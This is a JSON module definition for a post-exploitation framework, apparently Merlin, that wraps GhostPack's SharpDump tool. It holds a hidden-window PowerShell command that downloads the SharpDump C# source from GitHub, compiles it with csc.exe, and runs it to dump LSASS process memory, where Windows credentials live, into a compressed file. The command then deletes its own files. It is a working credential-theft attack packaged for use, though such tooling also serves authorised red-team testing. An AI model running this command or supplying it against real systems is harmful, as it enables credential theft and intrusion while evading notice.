{
  "base": {
    "name": "SharpDump",
    "type": "standard",
    "author": ["Russel Van Tuyl (@Ne0nd0g)"],
    "credits": ["Will Schroeder (@harmj0y)"],
    "path": ["windows", "x64", "csharp", "credentials", "SharpDump.json"],
    "platform": "windows",
    "arch": "x64",
    "lang": "csharp",
    "privilege": true,
    "remote": "https://raw.githubusercontent.com/GhostPack/SharpDump/master/SharpDump/Program.cs",
    "local": ["data", "src", "GhostPack", "SharpDump", "SharpDump", "Program.cs"],
    "options": [
      {"name": ".NetVersion", "value": "v4.*", "required": true, "flag": "", "description":"The .Net Framework version compiler to use (i.e. v3.0, v3.5, or v4.*)"},
      {"name": "ProcessID", "value": "", "required": false, "flag": "", "description":"Process ID to dump memory from"},
      {"name": "FileName", "value": "SharpDump", "required": true, "flag": "", "description":"The filename, without the file extension, used for the resulting source code and compiled files"}
    ],
    "description": "SharpDump is a C# port of PowerSploit's Out-Minidump.ps1 functionality.  This module downloads the project's C# source code, compiles it with .Net's csc.exe, executes it, and then deletes the files.",
    "notes": "\r\n\t-SharpDump was created by Will Schroeder (@harmj0y) and is part of the 👻 GhostPack tool set: https://github.com/GhostPack/SharpDump\r\n\t-SharpDump is a C# port of PowerSploit's Out-Minidump.ps1 functionality. The MiniDumpWriteDump Win32 API call is used to create a minidump for the process ID specified (LSASS by default) to C:\\Windows\\Temp\\debug.out, GZipStream is used to compress the dump to C:\\Windows\\Temp\\debug.bin (.gz format), and the original minidump file is deleted.\r\n\t-SharpDump will dump the memory from LSASS if a ProcessID is not provided",
    "commands": [
      "powershell.exe",
      "-nop",
      "-w 1",
      "\"",
      "(New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/GhostPack/SharpDump/master/SharpDump/Program.cs', $env:APPDATA+'\\\\{{FileName.Value}}.cs');",
      "c:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\{{.NetVersion.Value}}\\\\csc.exe /unsafe /out:$env:APPDATA\\\\{{FileName.Value}}.exe $env:APPDATA\\\\{{FileName.Value}}.cs;",
      "&$env:APPDATA\\\\{{FileName.Value}}.exe",
      "{{ProcessID.Value}}",
      ";del $env:APPDATA\\\\{{FileName.Value}}.*",
      "\""
    ]
  }
}